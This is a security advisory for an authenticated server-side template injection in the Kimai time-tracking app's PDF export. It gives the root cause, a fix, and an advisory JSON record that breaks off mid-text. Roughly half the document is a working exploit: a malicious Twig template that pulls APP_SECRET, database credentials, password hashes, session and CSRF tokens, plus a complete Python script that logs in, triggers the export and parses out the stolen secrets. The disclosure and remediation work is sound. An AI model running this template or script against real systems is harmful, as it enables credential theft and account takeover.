GHSA-JG2J-2W24-54CG

Vulnerability from github – Published: 2026-01-20 17:07 – Updated: 2026-01-20 17:07

Summary

Kimai has an Authenticated Server-Side Template Injection (SSTI)

Details

Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI)

Vulnerability Summary

Field	Value
Title	Authenticated SSTI via Permissive Export Template Sandbox
Attack Complexity	Low
Privileges Required	High (Admin with export permissions and server access)
User Interaction	None
Impact	Confidentiality: HIGH (Credential/Secret Extraction)
Affected Versions	Kimai 2.45.0 (likely earlier versions)
Tested On	Docker: kimai/kimai2:apache-2.45.0
Discovery Date	2026-01-05

Why Scope is "Changed": The extracted APP_SECRET can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.

Vulnerability Description

Kimai's export functionality uses a Twig sandbox with an overly permissive security policy (DefaultPolicy) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:

Environment Variables (APP_SECRET, DATABASE_URL)
All User Password Hashes (bcrypt)
Serialized Session Tokens
CSRF Tokens

Prerequisites

Authenticated Access: Valid account with export permissions (typically ROLE_ADMIN, ROLE_SUPER_ADMIN, or ROLE_TEAMLEAD)
Template Deployment: Ability to place a malicious .pdf.twig template in /opt/kimai/var/export/ via:
Filesystem access (server admin)

Test Environment

Users in Test Instance

The test environment contains 2 users whose password hashes were successfully extracted:

Kimai Users Page - screenshot_users.png:

User	Role	Hash Extracted
admin	ROLE_SUPER_ADMIN	✅ Yes
lowpriv	ROLE_USER	✅ Yes

Confirmed Exploitation Evidence

Test Date: 2026-01-05

Extracted Data (Actual Output from Exploit)

===SSTI_EXTRACTION_START===

1. ENVIRONMENT VARIABLES
APP_SECRET: change_this_to_something_unique
DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
APP_ENV: prod

2. SESSION TOKEN (SERIALIZED)
O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{
  i:0;N;i:1;s:12:"secured_area";i:2;a:5:{
    i:0;O:15:"App\Entity\User":5:{
      s:2:"id";i:1;
      s:8:"username";s:5:"admin";
      s:7:"enabled";b:1;
      s:5:"email";s:17:"admin@example.com";
      s:8:"password";s:60:"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye";
    }
    i:1;b:1;i:2;N;i:3;a:0:{}
    i:4;a:2:{i:0;s:16:"ROLE_SUPER_ADMIN";i:1;s:9:"ROLE_USER";}
  }
}

3. CURRENT USER DETAILS
username: admin
email: admin@example.com
password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
roles: ROLE_SUPER_ADMIN, ROLE_USER

4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a

5. CSRF TOKENS
_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4
_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58

===SSTI_EXTRACTION_END===

Root Cause Analysis

Vulnerable Code: `src/Twig/SecurityPolicy/ExportPolicy.php`

The export functionality uses ExportPolicy which includes DefaultPolicy:

$this->policy->addPolicy(new DefaultPolicy());

The Problem: `src/Twig/SecurityPolicy/DefaultPolicy.php`

final class DefaultPolicy implements SecurityPolicyInterface
{
    public function checkSecurity($tags, $filters, $functions): void
    {
        // EMPTY - No restrictions on Twig tags/filters/functions
    }

    public function checkMethodAllowed($obj, $method): void
    {
        // EMPTY - Allows ANY method call on ANY object
    }

    public function checkPropertyAllowed($obj, $property): void
    {
        // EMPTY - Allows ANY property access on ANY object
    }
}

This allows templates to call methods like: - app.request.server.get("APP_SECRET") - Environment variable access - app.session.get("_security_secured_area") - Session data access - entry.user.password - Password hash access

Exploitation Steps

Step 1: Deploy Malicious Template

Save the following as /opt/kimai/var/export/ssti-extract.pdf.twig:

docker exec kimai-kimai-1 bash -c 'cat > /opt/kimai/var/export/ssti-extract.pdf.twig << "TEMPLATE"
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>SSTI Data Extraction</title>
    <style>
        body { font-family: monospace; font-size: 10px; }
        h1, h2 { color: #333; }
        pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; }
    </style>
</head>
<body>

<h1>===SSTI_EXTRACTION_START===</h1>

<h2>1. ENVIRONMENT VARIABLES</h2>
<pre>
APP_SECRET: {{ app.request.server.get("APP_SECRET") }}
DATABASE_URL: {{ app.request.server.get("DATABASE_URL") }}
APP_ENV: {{ app.request.server.get("APP_ENV") }}
APP_DEBUG: {{ app.request.server.get("APP_DEBUG") }}
</pre>

<h2>2. SESSION TOKEN (SERIALIZED)</h2>
<pre>
{{ app.session.get("_security_secured_area") }}
</pre>

<h2>3. CURRENT USER DETAILS</h2>
<pre>
{% set user = query.currentUser %}
username: {{ user.username }}
email: {{ user.email }}
password_hash: {{ user.password }}
roles: {{ user.roles|join(", ") }}
id: {{ user.id }}
</pre>

<h2>4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)</h2>
<pre>
{% set seen = {} %}
{% for entry in entries %}
{% if entry.user is defined and entry.user.username not in seen %}
{% set seen = seen|merge({(entry.user.username): true}) %}
{{ entry.user.username }}:{{ entry.user.password }}
{% endif %}
{% endfor %}
</pre>

<h2>5. CSRF TOKENS</h2>
<pre>
_csrf/search: {{ app.session.get("_csrf/search") }}
_csrf/datatable_update: {{ app.session.get("_csrf/datatable_update") }}
_csrf/entities_multiupdate: {{ app.session.get("_csrf/entities_multiupdate") }}
</pre>

<h2>6. USER PREFERENCES</h2>
<pre>
{% set user = query.currentUser %}
{% for pref in user.preferences %}
{{ pref.name }}: {{ pref.value }}
{% endfor %}
</pre>

<h1>===SSTI_EXTRACTION_END===</h1>

</body>
</html>
TEMPLATE'

Step 2: Run the Exploit

python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!

Step 3: Extract Text from PDF

pdftotext kimai_extracted_data.pdf -

Detailed Exploit Usage

Requirements

# Install Python dependencies
pip install requests

# Install PDF text extraction tool
sudo apt install poppler-utils

Command Syntax

python3 ssti_exploit.py <target_url> <username> <password> [template_name]

Arguments:
  target_url    - Kimai instance URL (e.g., http://localhost:8001)
  username      - Valid admin username with export permissions
  password      - User password
  template_name - Optional: custom template (default: ssti-extract.pdf.twig)

Example Usage

# Basic usage
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!

# With custom template
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! custom-template.pdf.twig

Expected Output

╔═══════════════════════════════════════════════════════════════╗
║     Kimai 2.45.0 - SSTI Information Disclosure Exploit        ║
║                                                               ║
║  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          ║
╚═══════════════════════════════════════════════════════════════╝

[*] Connecting to http://localhost:8001
[*] Authenticating as admin
[+] Successfully authenticated as admin
[*] Triggering SSTI with template: ssti-extract.pdf.twig
[+] PDF generated successfully: 35356 bytes
[+] PDF saved to: kimai_extracted_data.pdf

============================================================
RAW EXTRACTED DATA:
============================================================
===SSTI_EXTRACTION_START===

1. ENVIRONMENT VARIABLES
APP_SECRET: change_this_to_something_unique
DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
APP_ENV: prod

2. SESSION TOKEN (SERIALIZED)
O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{...}

3. CURRENT USER DETAILS
username: admin
email: admin@example.com
password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
roles: ROLE_SUPER_ADMIN, ROLE_USER

4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a

5. CSRF TOKENS
_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4
_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58

===SSTI_EXTRACTION_END===

============================================================
CRITICAL FINDINGS SUMMARY:
============================================================
[!] APP_SECRET: change_this_to_something_unique
[!] DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
[!] Password Hashes Found: 2 unique
    admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye...
    lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a...
[!] Session Token: Present (serialized PHP object)
[!] CSRF Tokens: 2 found

[+] Exploitation successful!
[+] Full output saved to: kimai_extracted_data.pdf

Output Files

File	Description
`kimai_extracted_data.pdf`	PDF containing all extracted sensitive data

Manual PDF Text Extraction

# Extract text from PDF
pdftotext kimai_extracted_data.pdf -

# Save to file
pdftotext kimai_extracted_data.pdf extracted_secrets.txt

# Search for specific secrets
pdftotext kimai_extracted_data.pdf - | grep -E "(APP_SECRET|DATABASE_URL|\\\$2y\\\$)"

Error Handling

Error Message	Cause	Solution
`Cannot connect to <url>`	Target unreachable	Check URL and network
`Authentication failed`	Wrong credentials	Verify username/password
`Template not found`	Template not deployed	Deploy template first (Step 1)
`Access denied`	Insufficient permissions	Use admin account with export perms
`pdftotext not installed`	Missing tool	Run `apt install poppler-utils`

Complete Exploit Script (ssti_exploit.py)

#!/usr/bin/env python3
"""
Kimai 2.45.0 - SSTI Information Disclosure Exploit
Extracts: APP_SECRET, DATABASE_URL, Password Hashes, Session Tokens

Prerequisites:
1. Valid admin credentials
2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig

Usage: python3 ssti_exploit.py <target_url> <username> <password>
Example: python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!

Author: Security Research
Date: 2026-01-05
"""

import requests
import re
import subprocess
import sys
import os

class KimaiSSTIExploit:
    def __init__(self, target, username, password):
        self.target = target.rstrip('/')
        self.session = requests.Session()
        self.username = username
        self.password = password

    def login(self):
        """Authenticate to Kimai"""
        print(f"[*] Connecting to {self.target}")

        try:
            login_page = self.session.get(f"{self.target}/en/login", timeout=10)
        except requests.exceptions.ConnectionError:
            raise Exception(f"Cannot connect to {self.target}")
        except requests.exceptions.Timeout:
            raise Exception(f"Connection timeout to {self.target}")

        if login_page.status_code != 200:
            raise Exception(f"Cannot reach login page: HTTP {login_page.status_code}")

        csrf_match = re.search(r'name="_csrf_token"[^>]*value="([^"]+)"', login_page.text)
        if not csrf_match:
            raise Exception("CSRF token not found on login page")

        csrf = csrf_match.group(1)
        print(f"[*] Authenticating as {self.username}")

        login_resp = self.session.post(
            f"{self.target}/en/login_check",
            data={
                "_username": self.username,
                "_password": self.password,
                "_csrf_token": csrf
            },
            allow_redirects=True,
            timeout=10
        )

        # Check for successful login
        if "logout" not in login_resp.text.lower() and "sign out" not in login_resp.text.lower():
            if "invalid" in login_resp.text.lower() or "incorrect" in login_resp.text.lower():
                raise Exception("Invalid username or password")
            raise Exception("Authentication failed - check credentials")

        print(f"[+] Successfully authenticated as {self.username}")
        return True

    def trigger_ssti(self, template_name="ssti-extract.pdf.twig"):
        """Trigger SSTI via export functionality"""
        print(f"[*] Triggering SSTI with template: {template_name}")

        try:
            export_resp = self.session.post(
                f"{self.target}/en/export/data",
                data={
                    "renderer": template_name,
                    "state": "3",       # All states
                    "billable": "0",    # All billable states
                    "exported": "5",    # All export states
                    "markAsExported": "0",
                },
                timeout=60
            )
        except requests.exceptions.Timeout:
            raise Exception("Export request timed out")

        if export_resp.status_code == 404:
            raise Exception(f"Template '{template_name}' not found - deploy template first")

        if export_resp.status_code == 403:
            raise Exception("Access denied - user lacks export permissions")

        if export_resp.status_code != 200:
            raise Exception(f"Export failed: HTTP {export_resp.status_code}")

        if b'%PDF' not in export_resp.content[:10]:
            if b'error' in export_resp.content.lower() or b'exception' in export_resp.content.lower():
                raise Exception("Template rendering error - check template syntax")
            raise Exception("Invalid response - expected PDF output")

        print(f"[+] PDF generated successfully: {len(export_resp.content)} bytes")
        return export_resp.content

    def extract_text(self, pdf_content, output_path="/tmp/kimai_ssti_output.pdf"):
        """Extract text from PDF using pdftotext"""
        with open(output_path, "wb") as f:
            f.write(pdf_content)

        try:
            result = subprocess.run(
                ["pdftotext", output_path, "-"],
                capture_output=True,
                text=True,
                timeout=30
            )
            if result.returncode != 0:
                print(f"[-] pdftotext error: {result.stderr}")
                return None
            return result.stdout
        except FileNotFoundError:
            print("[-] pdftotext not installed")
            print("    Install with: apt install poppler-utils")
            return None
        except subprocess.TimeoutExpired:
            print("[-] pdftotext timed out")
            return None

    def parse_findings(self, text):
        """Parse and categorize extracted data"""
        findings = {
            "app_secret": None,
            "database_url": None,
            "password_hashes": [],
            "session_token": None,
            "csrf_tokens": []
        }

        lines = text.split('\n')
        for i, line in enumerate(lines):
            line = line.strip()

            if "APP_SECRET:" in line:
                findings["app_secret"] = line.split("APP_SECRET:")[-1].strip()

            if "DATABASE_URL:" in line or "mysql://" in line:
                if "mysql://" in line:
                    findings["database_url"] = line.strip()
                elif i + 1 < len(lines):
                    findings["database_url"] = lines[i + 1].strip()

            if "$2y$" in line:
                findings["password_hashes"].append(line)

            if "UsernamePasswordToken" in line:
                findings["session_token"] = "Present (serialized PHP object)"

            if "_csrf" in line.lower() or len(line) == 43:
                if ":" in line:
                    findings["csrf_tokens"].append(line)

        return findings


def print_banner():
    print("""
╔═══════════════════════════════════════════════════════════════╗
║     Kimai 2.45.0 - SSTI Information Disclosure Exploit        ║
║                                                               ║
║  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          ║
╚═══════════════════════════════════════════════════════════════╝
""")


def main():
    print_banner()

    if len(sys.argv) < 4:
        print("Usage: python3 ssti_exploit.py <target_url> <username> <password> [template_name]")
        print()
        print("Arguments:")
        print("  target_url    - Kimai instance URL (e.g., http://localhost:8001)")
        print("  username      - Valid admin username")
        print("  password      - User password")
        print("  template_name - Optional: custom template name (default: ssti-extract.pdf.twig)")
        print()
        print("Example:")
        print("  python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!")
        print()
        print("Prerequisites:")
        print("  1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig")
        print("  2. User must have export permissions (ROLE_ADMIN or higher)")
        sys.exit(1)

    target = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    template = sys.argv[4] if len(sys.argv) > 4 else "ssti-extract.pdf.twig"

    exploit = KimaiSSTIExploit(target, username, password)

    try:
        # Step 1: Authenticate
        exploit.login()

        # Step 2: Trigger SSTI
        pdf_content = exploit.trigger_ssti(template)

        # Step 3: Save PDF
        output_file = "kimai_extracted_data.pdf"
        with open(output_file, "wb") as f:
            f.write(pdf_content)
        print(f"[+] PDF saved to: {output_file}")

        # Step 4: Extract and display text
        text = exploit.extract_text(pdf_content)
        if text:
            print()
            print("="*60)
            print("RAW EXTRACTED DATA:")
            print("="*60)
            print(text[:2000])
            if len(text) > 2000:
                print(f"\n... [{len(text) - 2000} more characters]")

            # Parse findings
            findings = exploit.parse_findings(text)

            print()
            print("="*60)
            print("CRITICAL FINDINGS SUMMARY:")
            print("="*60)

            if findings["app_secret"]:
                print(f"[!] APP_SECRET: {findings['app_secret']}")

            if findings["database_url"]:
                print(f"[!] DATABASE_URL: {findings['database_url']}")

            if findings["password_hashes"]:
                unique_hashes = list(set(findings["password_hashes"]))
                print(f"[!] Password Hashes Found: {len(unique_hashes)} unique")
                for h in unique_hashes[:5]:
                    print(f"    {h[:80]}...")
                if len(unique_hashes) > 5:
                    print(f"    ... and {len(unique_hashes) - 5} more")

            if findings["session_token"]:
                print(f"[!] Session Token: {findings['session_token']}")

            if findings["csrf_tokens"]:
                print(f"[!] CSRF Tokens: {len(findings['csrf_tokens'])} found")

        print()
        print("[+] Exploitation successful!")
        print(f"[+] Full output saved to: {output_file}")
        return 0

    except KeyboardInterrupt:
        print("\n[-] Interrupted by user")
        return 130
    except Exception as e:
        print(f"[-] Exploitation failed: {e}")
        return 1


if __name__ == "__main__":
    sys.exit(main())

Impact Analysis

Extracted Data	Security Impact
`APP_SECRET`	Can forge Symfony login links to access ANY user account
`DATABASE_URL`	Direct database connection credentials exposed
Password Hashes	Offline password cracking possible (bcrypt)
Session Tokens	Session structure analysis, potential replay attacks
CSRF Tokens	Bypass CSRF protection for subsequent attacks

Attack Chain Example

Exploit SSTI → Extract APP_SECRET
Use APP_SECRET to forge login link for target user
Access target user's account without knowing their password

Remediation

Immediate Fix

Replace DefaultPolicy with InvoicePolicy in ExportPolicy:

// src/Twig/SecurityPolicy/ExportPolicy.php
// Change:
$this->policy->addPolicy(new DefaultPolicy());

// To:
$this->policy->addPolicy(new InvoicePolicy());

Additional Hardening

Block environment access in templates: php public function checkMethodAllowed($obj, $method): void { if ($obj instanceof Request && $method === 'getServer') { throw new SecurityError('Server access not allowed'); } }
Block session access in templates: php if ($obj instanceof Session) { throw new SecurityError('Session access not allowed'); }
Restrict User object property access: php if ($obj instanceof User && $method === 'getPassword') { throw new SecurityError('Password access not allowed'); }

Reported by: Mahammad Huseynkhanli

Severity ?

6.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "kimai/kimai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.46.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23626"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-20T17:07:13Z",
    "nvd_published_at": "2026-01-18T23:15:48Z",
    "severity": "MODERATE"
  },
  "details": "# Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI)\n\n## Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Title** | Authenticated SSTI via Permissive Export Template Sandbox || **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | High (Admin with export permissions and server access) |\n| **User Interaction** | None |\n| **Impact** | Confidentiality: HIGH (Credential/Secret Extraction) |\n| **Affected Versions** | Kimai 2.45.0 (likely earlier versions) |\n| **Tested On** | Docker: kimai/kimai2:apache-2.45.0 |\n| **Discovery Date** | 2026-01-05 |\n\n---\n\n**Why Scope is \"Changed\":** The extracted `APP_SECRET` can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.\n\n---\n\n## Vulnerability Description\n\nKimai\u0027s export functionality uses a Twig sandbox with an overly permissive security policy (`DefaultPolicy`) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:\n\n1. **Environment Variables** (APP_SECRET, DATABASE_URL)\n2. **All User Password Hashes** (bcrypt)\n3. **Serialized Session Tokens**\n4. **CSRF Tokens**\n\n---\n\n## Prerequisites\n\n1. **Authenticated Access**: Valid account with export permissions (typically ROLE_ADMIN, ROLE_SUPER_ADMIN, or ROLE_TEAMLEAD)\n2. **Template Deployment**: Ability to place a malicious `.pdf.twig` template in `/opt/kimai/var/export/` via:\n   - Filesystem access (server admin)\n\n---\n\n## Test Environment\n\n### Users in Test Instance\n\nThe test environment contains 2 users whose password hashes were successfully extracted:\n\nKimai Users Page - screenshot_users.png:\n\u003cimg width=\"1124\" height=\"1119\" alt=\"screenshot_users\" src=\"https://github.com/user-attachments/assets/89771b84-a95c-4c6d-9515-7e9a38ef3235\" /\u003e\n\n\n| User | Role | Hash Extracted |\n|------|------|----------------|\n| admin | ROLE_SUPER_ADMIN | \u2705 Yes |\n| lowpriv | ROLE_USER | \u2705 Yes |\n\n---\n\n## Confirmed Exploitation Evidence\n\n### Test Date: 2026-01-05\n\n### Extracted Data (Actual Output from Exploit)\n\n```\n===SSTI_EXTRACTION_START===\n\n1. ENVIRONMENT VARIABLES\nAPP_SECRET: change_this_to_something_unique\nDATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4\u0026serverVersion=8.0\nAPP_ENV: prod\n\n2. SESSION TOKEN (SERIALIZED)\nO:74:\"Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken\":3:{\n  i:0;N;i:1;s:12:\"secured_area\";i:2;a:5:{\n    i:0;O:15:\"App\\Entity\\User\":5:{\n      s:2:\"id\";i:1;\n      s:8:\"username\";s:5:\"admin\";\n      s:7:\"enabled\";b:1;\n      s:5:\"email\";s:17:\"admin@example.com\";\n      s:8:\"password\";s:60:\"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\";\n    }\n    i:1;b:1;i:2;N;i:3;a:0:{}\n    i:4;a:2:{i:0;s:16:\"ROLE_SUPER_ADMIN\";i:1;s:9:\"ROLE_USER\";}\n  }\n}\n\n3. CURRENT USER DETAILS\nusername: admin\nemail: admin@example.com\npassword_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nroles: ROLE_SUPER_ADMIN, ROLE_USER\n\n4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)\nadmin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nlowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a\n\n5. CSRF TOKENS\n_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4\n_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58\n\n===SSTI_EXTRACTION_END===\n```\n\n---\n\n## Root Cause Analysis\n\n### Vulnerable Code: `src/Twig/SecurityPolicy/ExportPolicy.php`\n\nThe export functionality uses `ExportPolicy` which includes `DefaultPolicy`:\n\n```php\n$this-\u003epolicy-\u003eaddPolicy(new DefaultPolicy());\n```\n\n### The Problem: `src/Twig/SecurityPolicy/DefaultPolicy.php`\n\n```php\nfinal class DefaultPolicy implements SecurityPolicyInterface\n{\n    public function checkSecurity($tags, $filters, $functions): void\n    {\n        // EMPTY - No restrictions on Twig tags/filters/functions\n    }\n\n    public function checkMethodAllowed($obj, $method): void\n    {\n        // EMPTY - Allows ANY method call on ANY object\n    }\n\n    public function checkPropertyAllowed($obj, $property): void\n    {\n        // EMPTY - Allows ANY property access on ANY object\n    }\n}\n```\n\nThis allows templates to call methods like:\n- `app.request.server.get(\"APP_SECRET\")` - Environment variable access\n- `app.session.get(\"_security_secured_area\")` - Session data access\n- `entry.user.password` - Password hash access\n\n---\n\n## Exploitation Steps\n\n### Step 1: Deploy Malicious Template\n\nSave the following as `/opt/kimai/var/export/ssti-extract.pdf.twig`:\n\n```bash\ndocker exec kimai-kimai-1 bash -c \u0027cat \u003e /opt/kimai/var/export/ssti-extract.pdf.twig \u003c\u003c \"TEMPLATE\"\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n    \u003cmeta charset=\"UTF-8\"\u003e\n    \u003ctitle\u003eSSTI Data Extraction\u003c/title\u003e\n    \u003cstyle\u003e\n        body { font-family: monospace; font-size: 10px; }\n        h1, h2 { color: #333; }\n        pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; }\n    \u003c/style\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\n\u003ch1\u003e===SSTI_EXTRACTION_START===\u003c/h1\u003e\n\n\u003ch2\u003e1. ENVIRONMENT VARIABLES\u003c/h2\u003e\n\u003cpre\u003e\nAPP_SECRET: {{ app.request.server.get(\"APP_SECRET\") }}\nDATABASE_URL: {{ app.request.server.get(\"DATABASE_URL\") }}\nAPP_ENV: {{ app.request.server.get(\"APP_ENV\") }}\nAPP_DEBUG: {{ app.request.server.get(\"APP_DEBUG\") }}\n\u003c/pre\u003e\n\n\u003ch2\u003e2. SESSION TOKEN (SERIALIZED)\u003c/h2\u003e\n\u003cpre\u003e\n{{ app.session.get(\"_security_secured_area\") }}\n\u003c/pre\u003e\n\n\u003ch2\u003e3. CURRENT USER DETAILS\u003c/h2\u003e\n\u003cpre\u003e\n{% set user = query.currentUser %}\nusername: {{ user.username }}\nemail: {{ user.email }}\npassword_hash: {{ user.password }}\nroles: {{ user.roles|join(\", \") }}\nid: {{ user.id }}\n\u003c/pre\u003e\n\n\u003ch2\u003e4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)\u003c/h2\u003e\n\u003cpre\u003e\n{% set seen = {} %}\n{% for entry in entries %}\n{% if entry.user is defined and entry.user.username not in seen %}\n{% set seen = seen|merge({(entry.user.username): true}) %}\n{{ entry.user.username }}:{{ entry.user.password }}\n{% endif %}\n{% endfor %}\n\u003c/pre\u003e\n\n\u003ch2\u003e5. CSRF TOKENS\u003c/h2\u003e\n\u003cpre\u003e\n_csrf/search: {{ app.session.get(\"_csrf/search\") }}\n_csrf/datatable_update: {{ app.session.get(\"_csrf/datatable_update\") }}\n_csrf/entities_multiupdate: {{ app.session.get(\"_csrf/entities_multiupdate\") }}\n\u003c/pre\u003e\n\n\u003ch2\u003e6. USER PREFERENCES\u003c/h2\u003e\n\u003cpre\u003e\n{% set user = query.currentUser %}\n{% for pref in user.preferences %}\n{{ pref.name }}: {{ pref.value }}\n{% endfor %}\n\u003c/pre\u003e\n\n\u003ch1\u003e===SSTI_EXTRACTION_END===\u003c/h1\u003e\n\n\u003c/body\u003e\n\u003c/html\u003e\nTEMPLATE\u0027\n```\n\n### Step 2: Run the Exploit\n\n```bash\npython3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\n```\n\n### Step 3: Extract Text from PDF\n\n```bash\npdftotext kimai_extracted_data.pdf -\n```\n\n---\n\n## Detailed Exploit Usage\n\n### Requirements\n\n```bash\n# Install Python dependencies\npip install requests\n\n# Install PDF text extraction tool\nsudo apt install poppler-utils\n```\n\n### Command Syntax\n\n```\npython3 ssti_exploit.py \u003ctarget_url\u003e \u003cusername\u003e \u003cpassword\u003e [template_name]\n\nArguments:\n  target_url    - Kimai instance URL (e.g., http://localhost:8001)\n  username      - Valid admin username with export permissions\n  password      - User password\n  template_name - Optional: custom template (default: ssti-extract.pdf.twig)\n```\n\n### Example Usage\n\n```bash\n# Basic usage\npython3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\n\n# With custom template\npython3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! custom-template.pdf.twig\n```\n\n### Expected Output\n\n```\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551     Kimai 2.45.0 - SSTI Information Disclosure Exploit        \u2551\n\u2551                                                               \u2551\n\u2551  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\n[*] Connecting to http://localhost:8001\n[*] Authenticating as admin\n[+] Successfully authenticated as admin\n[*] Triggering SSTI with template: ssti-extract.pdf.twig\n[+] PDF generated successfully: 35356 bytes\n[+] PDF saved to: kimai_extracted_data.pdf\n\n============================================================\nRAW EXTRACTED DATA:\n============================================================\n===SSTI_EXTRACTION_START===\n\n1. ENVIRONMENT VARIABLES\nAPP_SECRET: change_this_to_something_unique\nDATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4\u0026serverVersion=8.0\nAPP_ENV: prod\n\n2. SESSION TOKEN (SERIALIZED)\nO:74:\"Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken\":3:{...}\n\n3. CURRENT USER DETAILS\nusername: admin\nemail: admin@example.com\npassword_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nroles: ROLE_SUPER_ADMIN, ROLE_USER\n\n4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)\nadmin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nlowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a\n\n5. CSRF TOKENS\n_csrf/search: 